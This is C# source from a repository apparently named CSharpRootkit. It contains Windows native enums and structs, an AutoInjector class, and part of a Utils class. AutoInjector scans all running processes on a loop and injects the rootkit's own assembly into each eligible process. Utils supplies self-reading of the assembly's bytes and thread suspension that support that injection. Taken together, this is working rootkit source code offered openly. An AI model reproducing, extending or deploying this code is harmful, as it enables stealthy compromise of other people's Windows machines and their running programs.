116 | SystemNumaProximityNodeInformation, // q; s: SYSTEM_NUMA_PROXIMITY_MAP
117 | SystemDynamicTimeZoneInformation, // q; s: RTL_DYNAMIC_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
118 | SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation
119 | SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION
120 | SystemProcessorBrandString, // q: CHAR[] // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23
121 | SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation
122 | SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX (EX in: LOGICAL_PROCESSOR_RELATIONSHIP RelationshipType) // since WIN7 // KeQueryLogicalProcessorRelationship
123 | SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
124 | SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION (requires SeProfileSingleProcessPrivilege) // SmQueryStoreInformation
125 | SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110
126 | SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege)
127 | SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION
128 | SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION
129 | SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION
130 | SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS
131 | SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION
132 | SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation
133 | SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION
134 | SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool)
135 | SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120
136 | SystemNodeDistanceInformation, // q: USHORT[4*NumaNodes] // (EX in: USHORT NodeNumber)
137 | SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26
138 | SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation
139 | SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1
140 | SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8
141 | SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only)
142 | SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION
143 | SystemBadPageInformation,
144 | SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA
145 | SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130
146 | SystemEntropyInterruptTimingInformation, // q; s: SYSTEM_ENTROPY_TIMING_INFORMATION
147 | SystemConsoleInformation, // q; s: SYSTEM_CONSOLE_INFORMATION
148 | SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION (requires SeTcbPrivilege)
149 | SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION (Warbird/Encrypt/Decrypt/Execute)
150 | SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION
151 | SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
152 | SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION
153 | SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION
154 | SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION
155 | SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140
156 | SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // (EX in: USHORT ProcessorGroup) // since WINBLUE
157 | SystemCriticalProcessErrorLogInformation,
158 | SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION
159 | SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX
160 | SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION
161 | SystemEntropyInterruptTimingRawInformation,
162 | SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION
163 | SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin)
164 | SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX
165 | SystemBootMetadataInformation, // 150
166 | SystemSoftRebootInformation, // q: ULONG
167 | SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION
168 | SystemOfflineDumpConfigInformation, // q: OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2
169 | SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION
170 | SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives)
171 | SystemEdidInformation, // q: SYSTEM_EDID_INFORMATION
172 | SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD
173 | SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION
174 | SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION
175 | SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION (EX in: USHORT ProcessorGroup) // 160
176 | SystemVmGenerationCountInformation,
177 | SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION
178 | SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS
179 | SystemCodeIntegrityPolicyInformation, // q; s: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION
180 | SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION
181 | SystemHardwareSecurityTestInterfaceResultsInformation,
182 | SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION
183 | SystemAllowedCpuSetsInformation, // s: SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION
184 | SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation)
185 | SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170
186 | SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION
187 | SystemCodeIntegrityPolicyFullInformation,
188 | SystemAffinitizedInterruptProcessorInformation, // (requires SeIncreaseBasePriorityPrivilege)
189 | SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION
190 | SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2
191 | SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION
192 | SystemWin32WerStartCallout,
193 | SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION
194 | SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE
195 | SystemInterruptSteeringInformation, // q: in: SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT, out: SYSTEM_INTERRUPT_STEERING_INFORMATION_OUTPUT // NtQuerySystemInformationEx // 180
196 | SystemSupportedProcessorArchitectures, // p: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx
197 | SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION
198 | SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION
199 | SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2
200 | SystemControlFlowTransition, // (Warbird/Encrypt/Decrypt/Execute)
201 | SystemKernelDebuggingAllowed, // s: ULONG
202 | SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE
203 | SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS
204 | SystemCodeIntegrityPoliciesFullInformation,
205 | SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190
206 | SystemIntegrityQuotaInformation,
207 | SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION
208 | SystemProcessorIdleMaskInformation, // q: ULONG_PTR[ActiveGroupCount] // since REDSTONE3
209 | SystemSecureDumpEncryptionInformation,
210 | SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION
211 | SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION
212 | SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4
213 | SystemFirmwareBootPerformanceInformation,
214 | SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION
215 | SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200
216 | SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above.
217 | SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION
218 | SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION
219 | SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5
220 | SystemCodeIntegrityUnlockModeInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION
221 | SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION
222 | SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION
223 | SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1
224 | SystemCodeIntegritySyntheticCacheInformation,
225 | SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210
226 | SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION
227 | SystemFeatureUsageSubscriptionInformation, // SYSTEM_FEATURE_USAGE_SUBSCRIPTION_DETAILS
228 | SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION
229 | SystemSpacesBootInformation, // since 20H2
230 | SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION
231 | SystemWheaIpmiHardwareInformation,
232 | SystemDifSetRuleClassInformation, // SYSTEM_DIF_VOLATILE_INFORMATION
233 | SystemDifClearRuleClassInformation,
234 | SystemDifApplyPluginVerificationOnDriver, // SYSTEM_DIF_PLUGIN_DRIVER_INFORMATION
235 | SystemDifRemovePluginVerificationOnDriver, // SYSTEM_DIF_PLUGIN_DRIVER_INFORMATION // 220
236 | SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION
237 | SystemBuildVersionInformation, // q: in: ULONG (LayerNumber), out: SYSTEM_BUILD_VERSION_INFORMATION // NtQuerySystemInformationEx // 222
238 | SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION (requires SeIncreaseQuotaPrivilege)
239 | SystemCodeIntegrityAddDynamicStore,
240 | SystemCodeIntegrityClearDynamicStores,
241 | SystemDifPoolTrackingInformation,
242 | SystemPoolZeroingInformation, // q: SYSTEM_POOL_ZEROING_INFORMATION
243 | SystemDpcWatchdogInformation, // q; s: SYSTEM_DPC_WATCHDOG_CONFIGURATION_INFORMATION
244 | SystemDpcWatchdogInformation2, // q; s: SYSTEM_DPC_WATCHDOG_CONFIGURATION_INFORMATION_V2
245 | SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx // 230
246 | SystemSingleProcessorRelationshipInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // (EX in: PROCESSOR_NUMBER Processor)
247 | SystemXfgCheckFailureInformation, // q: SYSTEM_XFG_FAILURE_INFORMATION
248 | SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 22H1
249 | SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION
250 | SystemHypervisorBootPagesInformation, // SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION
251 | SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION
252 | SystemSecureKernelDebuggerInformation,
253 | SystemOriginalImageFeatureInformation, // q: in: SYSTEM_ORIGINAL_IMAGE_FEATURE_INFORMATION_INPUT, out: SYSTEM_ORIGINAL_IMAGE_FEATURE_INFORMATION_OUTPUT // NtQuerySystemInformationEx
254 | MaxSystemInfoClass
255 | }
256 |
257 | public enum FILE_INFORMATION_CLASS
258 | {
259 | FileDirectoryInformation = 1,
260 | FileFullDirectoryInformation = 2,
261 | FileBothDirectoryInformation = 3,
262 | FileBasicInformation = 4,
263 | FileStandardInformation = 5,
264 | FileInternalInformation = 6,
265 | FileEaInformation = 7,
266 | FileAccessInformation = 8,
267 | FileNameInformation = 9,
268 | FileRenameInformation = 10,
269 | FileLinkInformation = 11,
270 | FileNamesInformation = 12,
271 | FileDispositionInformation = 13,
272 | FilePositionInformation = 14,
273 | FileFullEaInformation = 15,
274 | FileModeInformation = 16,
275 | FileAlignmentInformation = 17,
276 | FileAllInformation = 18,
277 | FileAllocationInformation = 19,
278 | FileEndOfFileInformation = 20,
279 | FileAlternateNameInformation = 21,
280 | FileStreamInformation = 22,
281 | FilePipeInformation = 23,
282 | FilePipeLocalInformation = 24,
283 | FilePipeRemoteInformation = 25,
284 | FileMailslotQueryInformation = 26,
285 | FileMailslotSetInformation = 27,
286 | FileCompressionInformation = 28,
287 | FileObjectIdInformation = 29,
288 | FileCompletionInformation = 30,
289 | FileMoveClusterInformation = 31,
290 | FileQuotaInformation = 32,
291 | FileReparsePointInformation = 33,
292 | FileNetworkOpenInformation = 34,
293 | FileAttributeTagInformation = 35,
294 | FileTrackingInformation = 36,
295 | FileIdBothDirectoryInformation = 37,
296 | FileIdFullDirectoryInformation = 38,
297 | FileValidDataLengthInformation = 39,
298 | FileShortNameInformation = 40,
299 | FileIoCompletionNotificationInformation = 41,
300 | FileIoStatusBlockRangeInformation = 42,
301 | FileIoPriorityHintInformation = 43,
302 | FileSfioReserveInformation = 44,
303 | FileSfioVolumeInformation = 45,
304 | FileHardLinkInformation = 46,
305 | FileProcessIdsUsingFileInformation = 47,
306 | FileNormalizedNameInformation = 48,
307 | FileNetworkPhysicalNameInformation = 49,
308 | FileIdGlobalTxDirectoryInformation = 50,
309 | FileIsRemoteDeviceInformation = 51,
310 | FileUnusedInformation = 52,
311 | FileNumaNodeInformation = 53,
312 | FileStandardLinkInformation = 54,
313 | FileRemoteProtocolInformation = 55,
314 | FileRenameInformationBypassAccessCheck = 56,
315 | FileLinkInformationBypassAccessCheck = 57,
316 | FileVolumeNameInformation = 58,
317 | FileIdInformation = 59,
318 | FileIdExtdDirectoryInformation = 60,
319 | FileReplaceCompletionInformation = 61,
320 | FileHardLinkFullIdInformation = 62,
321 | FileIdExtdBothDirectoryInformation = 63,
322 | FileDispositionInformationEx = 64,
323 | FileRenameInformationEx = 65,
324 | FileRenameInformationExBypassAccessCheck = 66,
325 | FileDesiredStorageClassInformation = 67,
326 | FileStatInformation = 68,
327 | FileMemoryPartitionInformation = 69,
328 | FileStatLxInformation = 70,
329 | FileCaseSensitiveInformation = 71,
330 | FileLinkInformationEx = 72,
331 | FileLinkInformationExBypassAccessCheck = 73,
332 | FileStorageReserveIdInformation = 74,
333 | FileCaseSensitiveInformationForceAccessCheck = 75,
334 | FileKnownFolderInformation = 76,
335 | FileStatBasicInformation = 77,
336 | FileId64ExtdDirectoryInformation = 78,
337 | FileId64ExtdBothDirectoryInformation = 79,
338 | FileIdAllExtdDirectoryInformation = 80,
339 | FileIdAllExtdBothDirectoryInformation = 81,
340 | FileStreamReservationInformation,
341 | FileMupProviderInfo,
342 | FileMaximumInformation
343 | }
344 |
345 |
346 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
347 | public struct UNICODE_STRING
348 | {
349 | public ushort Length;
350 | public ushort MaximumLength;
351 | public IntPtr Buffer;
352 | }
353 |
354 | [StructLayout(LayoutKind.Sequential)]
355 | public struct SYSTEM_PROCESS_INFORMATION
356 | {
357 | public uint NextEntryOffset;
358 | public uint NumberOfThreads;
359 | public long WorkingSetPrivateSize;
360 | public uint HardFaultCount;
361 | public uint NumberOfThreadsHighWatermark;
362 | public ulong CycleTime;
363 | public long CreateTime;
364 | public long UserTime;
365 | public long KernelTime;
366 | public UNICODE_STRING ImageName;
367 | public uint BasePriority;
368 | public IntPtr ProcessId;
369 | public IntPtr InheritedFromProcessId;
370 | }
371 |
372 |
373 | [StructLayout(LayoutKind.Sequential)]
374 | public struct SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION
375 | {
376 | public long IdleTime;
377 | public long KernelTime;
378 | public long UserTime;
379 | public long DpcTime;
380 | public long InterruptTime;
381 | public uint InterruptCount;
382 | }
383 |
384 | [StructLayout(LayoutKind.Sequential)]
385 | public struct SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX
386 | {
387 | public long IdleTime;
388 | public long KernelTime;
389 | public long UserTime;
390 | public long DpcTime;
391 | public long InterruptTime;
392 | public uint InterruptCount;
393 | public uint Spare0;
394 | public long AvailableTime;
395 | public long Spare1;
396 | public long Spare2;
397 | }
398 |
399 | [StructLayout(LayoutKind.Sequential)]
400 | public struct SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION
401 | {
402 | public ulong CycleTime;
403 | }
404 |
405 | [StructLayout(LayoutKind.Sequential)]
406 | public struct NT_FILE_DIRECTORY_INFORMATION
407 | {
408 | public uint NextEntryOffset;
409 | public uint FileIndex;
410 | public long CreationTime;
411 | public long LastAccessTime;
412 | public long LastWriteTime;
413 | public long ChangeTime;
414 | public long EndOfFile;
415 | public long AllocationSize;
416 | public uint FileAttributes;
417 | public uint FileNameLength;
418 | public char FileNameStart;
419 | }
420 |
421 | [StructLayout(LayoutKind.Sequential)]
422 | public struct NT_FILE_FULL_DIR_INFORMATION
423 | {
424 | public uint NextEntryOffset;
425 | public uint FileIndex;
426 | public long CreationTime;
427 | public long LastAccessTime;
428 | public long LastWriteTime;
429 | public long ChangeTime;
430 | public long EndOfFile;
431 | public long AllocationSize;
432 | public uint FileAttributes;
433 | public uint FileNameLength;
434 | public uint EaSize;
435 | public char FileNameStart;
436 | }
437 | [StructLayout(LayoutKind.Sequential)]
438 | public struct NT_FILE_ID_FULL_DIR_INFORMATION
439 | {
440 | public uint NextEntryOffset;
441 | public uint FileIndex;
442 | public long CreationTime;
443 | public long LastAccessTime;
444 | public long LastWriteTime;
445 | public long ChangeTime;
446 | public long EndOfFile;
447 | public long AllocationSize;
448 | public uint FileAttributes;
449 | public uint FileNameLength;
450 | public uint EaSize;
451 | public long FileId;
452 | public char FileNameStart;
453 | }
454 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
455 | public struct NT_FILE_BOTH_DIR_INFORMATION
456 | {
457 | public uint NextEntryOffset;
458 | public uint FileIndex;
459 | public long CreationTime;
460 | public long LastAccessTime;
461 | public long LastWriteTime;
462 | public long ChangeTime;
463 | public long EndOfFile;
464 | public long AllocationSize;
465 | public uint FileAttributes;
466 | public uint FileNameLength;
467 | public uint EaSize;
468 | public byte ShortNameLength;
469 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 12)]
470 | public string ShortName;
471 | public char FileNameStart;
472 | }
473 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
474 | public struct NT_FILE_ID_BOTH_DIR_INFORMATION
475 | {
476 | public uint NextEntryOffset;
477 | public uint FileIndex;
478 | public long CreationTime;
479 | public long LastAccessTime;
480 | public long LastWriteTime;
481 | public long ChangeTime;
482 | public long EndOfFile;
483 | public long AllocationSize;
484 | public uint FileAttributes;
485 | public uint FileNameLength;
486 | public uint EaSize;
487 | public byte ShortNameLength;
488 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 12)]
489 | public string ShortName;
490 | public long FileId;
491 | public char FileNameStart;
492 | }
493 |
494 |
495 |
496 | [StructLayout(LayoutKind.Sequential)]
497 | public struct NT_FILE_NAMES_INFORMATION
498 | {
499 | public uint NextEntryOffset;
500 | public uint FileIndex;
501 | public uint FileNameLength;
502 | public char FileNameStart;
503 | }
504 |
505 |
506 |
507 | }
508 | }
509 |
--------------------------------------------------------------------------------
/CSharpRootkit/Utils/AutoInjector.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading;
7 | using System.Threading.Tasks;
8 |
9 | namespace CSharpRootkit
10 | {
11 | public static class AutoInjector
12 | {
13 |
14 | private static HashSet injectedPids = new HashSet();
15 | private static Action InjectionEntryPoint;
16 |
17 | private static int LoopInterval;
18 | public static bool started;
19 |
20 | public static void Start(Action func, bool WaitForFirstInjectIteration = true, int intervalMs=100)
21 | {
22 | injectedPids.Clear();
23 | InjectionEntryPoint = func;
24 | LoopInterval = intervalMs;
25 | if (!RootKitInterface.started)
26 | {
27 | throw new Exception("The RootKitInterface must be started before starting the AutoInjector.");
28 | //throw error, RootKitInterface needs to be started.
29 | }
30 |
31 | started = true;
32 |
33 | if (WaitForFirstInjectIteration)
34 | {
35 | InjectAllPossible();
36 | }
37 |
38 | new Thread(InjectAllPossibleLoop).Start();
39 |
40 | }
41 |
42 | public static void Stop()
43 | {
44 | started = false;
45 | }
46 |
47 |
48 | private static void InjectAllPossibleLoop()
49 | {
50 | while (started)
51 | {
52 | Thread.Sleep(LoopInterval);
53 | InjectAllPossible();
54 | }
55 | }
56 |
57 | private static void InjectAllPossible()
58 | {
59 | byte[] selfBytes = Utils.GetCurrentSelfBytes();
60 | int currentProcId = (int)NativeMethods.GetCurrentProcessId();
61 | HashSet collectedPids = new HashSet();
62 | foreach (Process proc in Process.GetProcesses())
63 | {
64 | collectedPids.Add(proc.Id);
65 | if (!RootKitInterface.started && started)
66 | {
67 | proc.Dispose();
68 | throw new Exception("The AutoInjector must be stopped before stopping the rootkit interface!");
69 | }
70 | else if (!started)
71 | {
72 | proc.Dispose();
73 | return;
74 | }
75 |
76 |
77 | if (injectedPids.Contains(proc.Id))
78 | {
79 | proc.Dispose();
80 | continue;
81 | }
82 |
83 | if (proc.Id == currentProcId || !Utils.GetParentProcess(proc.Id, out int parentProc) || parentProc == currentProcId) //make sure its not a subprocess, for example if c# spawns a conhost, injecting into it can cause a crash.
84 | {
85 | proc.Dispose();
86 | continue;
87 | }
88 |
89 | IntPtr procHandle = SharpInjector.GetProcessHandleWithRequiredRights(proc.Id);
90 | if (!RootKitInterface.IsAgainstInclusionExclusionRules(procHandle) && Utils.ShouldInject(procHandle))
91 | {
92 | SharpInjector.Inject(procHandle, InjectionEntryPoint, 0);
93 | injectedPids.Add(proc.Id);
94 | }
95 |
96 | NativeMethods.CloseHandle(procHandle);
97 | proc.Dispose();
98 | }
99 |
100 | injectedPids.RemoveWhere((pid) => !collectedPids.Contains(pid));//remove pids where the process has been terminated.
101 | }
102 |
103 |
104 |
105 | }
106 | }
107 |
--------------------------------------------------------------------------------
/CSharpRootkit/Utils/Utils.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.IO.MemoryMappedFiles;
6 | using System.IO.Pipes;
7 | using System.Linq;
8 | using System.Net;
9 | using System.Reflection;
10 | using System.Runtime.InteropServices;
11 | using System.Security.AccessControl;
12 | using System.Security.Principal;
13 | using System.Text;
14 | using System.Threading;
15 | using System.Threading.Tasks;
16 | using static CSharpRootkit.DbgInterface;
17 | using static CSharpRootkit.InternalStructs;
18 | using static CSharpRootkit.InternalStructs64;
19 |
20 | namespace CSharpRootkit
21 | {
22 | public static class Utils
23 | {
24 | private static uint THREAD_SUSPEND_RESUME = 0x0002;
25 | private static uint THREAD_QUERY_INFORMATION = 0x0040;
26 | private static uint STATUS_NO_MORE_ENTRIES = 0x8000001A;
27 |
28 | private static uint DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND = 0x00000004;
29 | private static uint DEBUG_ATTACH_NONINVASIVE = 0x00000001;
30 |
31 | private static uint InstructionSizeString = 64 + 2 * 16 + 10 + 10 + 2 * 64 + 2 * 4 + 4;
32 |
33 | public static bool CanGetInstructionSize = true;
34 |
35 | private static DbgInterface.IDebugClient DebugClient;
36 | private static DbgInterface.IDebugControl DebugControl;
37 |
38 | private static uint TOKEN_QUERY = 0x0008;
39 | private static int TokenElevation = 20;
40 | private static int TokenIntegrityLevel = 25;
41 |
42 | private static uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
43 | private static uint PROCESS_VM_READ = 0x0010;
44 |
45 |
46 | private static uint PAGE_READWRITE = 0x04;
47 |
48 | private static string headerString = "moom825";
49 | private static byte[] headerBackup = new byte[headerString.Length];
50 |
51 | private static Random random = new Random();
52 |
53 | static Utils()
54 | {
55 | uint SPECIAL_STATUS_ACCESS_DENIED = 0xd0000022;
56 | Guid DebugClientIID = new Guid("27fe5639-8407-4f47-8364-ee118fb08ac8");
57 | if (DbgInterface.DebugCreate(ref DebugClientIID, out DebugClient) != 0)
58 | {
59 | CanGetInstructionSize = false;
60 | return;
61 | }
62 | if (DebugClient.AttachProcess(0, NativeMethods.GetCurrentProcessId(), DEBUG_ATTACH_NONINVASIVE | DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND) != 0)
63 | {
64 | CanGetInstructionSize = false;
65 | return;
66 | }
67 | DebugControl = (DbgInterface.IDebugControl)DebugClient;
68 | const int maxRetries = 20;
69 | const int delayBetweenRetries = 200; // milliseconds
70 | bool isAttached = false;
71 |
72 | for (int i = 0; i < maxRetries; i++)//for some reason theres a chance that the wait will not wait properly causing it to give a 0xd0000022 (maybe STATUS_ACCESS_DENIED, couldnt find too much info on it), if we just wait and call it again it seems to fix it self, maybe something internally has not reached stability yet
73 | {
74 |
75 | uint waitResult = DebugControl.WaitForEvent(0, 5000);
76 |
77 | if (waitResult == 0) // Success
78 | {
79 | isAttached = true;
80 | break;
81 | }
82 | else if (waitResult == SPECIAL_STATUS_ACCESS_DENIED)
83 | {
84 | Thread.Sleep(delayBetweenRetries);
85 | }
86 | else //real error
87 | {
88 | break;
89 | }
90 | }
91 | if (!isAttached)
92 | {
93 | CanGetInstructionSize = false;
94 | return;
95 | }
96 | }
97 |
98 | public static byte[] GetCurrentSelfBytes()
99 | {
100 | Assembly assembly = Assembly.GetExecutingAssembly();
101 | MethodInfo GetRawAssemblyBytes = assembly.GetType().GetMethod("GetRawBytes", BindingFlags.Instance | BindingFlags.NonPublic);
102 | byte[] assemblyBytes = (byte[])GetRawAssemblyBytes.Invoke(assembly, null);
103 | return assemblyBytes;
104 | }
105 |
106 | public static IntPtr[] PauseAllThreadExceptCurrent()
107 | {
108 | uint CurrentThreadId = NativeMethods.GetCurrentThreadId();
109 |
110 | List threadHandles = new List();
111 | IntPtr hThread = IntPtr.Zero;
112 | while (true)
113 | {
114 | uint result = NativeMethods.NtGetNextThread(NativeMethods.GetCurrentProcess(), hThread, THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, 0, 0, out IntPtr hThreadNext);
115 |
116 | if (result == 0 && hThread != IntPtr.Zero)
117 | {
118 | uint newThreadId = NativeMethods.GetThreadId(hThread);
119 |
120 | if (newThreadId != CurrentThreadId)
121 | {
122 | threadHandles.Add(hThread);
123 | NativeMethods.SuspendThread(hThread);//this can pause the debugger thread causing the program to freeze up
124 | }
125 | else
126 | {
127 | NativeMethods.CloseHandle(hThread);
128 | }
129 | }
130 | else if (result == STATUS_NO_MORE_ENTRIES)
131 | {
132 | break;
133 | }
134 | hThread = hThreadNext;
135 | }
136 | return threadHandles.ToArray();
137 | }
138 |
139 | public static void ResumeAndCloseAllThreads(IntPtr[] threadHandles)
140 | {
141 | foreach (IntPtr i in threadHandles)
142 | {
143 | NativeMethods.ResumeThread(i);
144 | NativeMethods.CloseHandle(i);
145 | }
146 | }
147 |
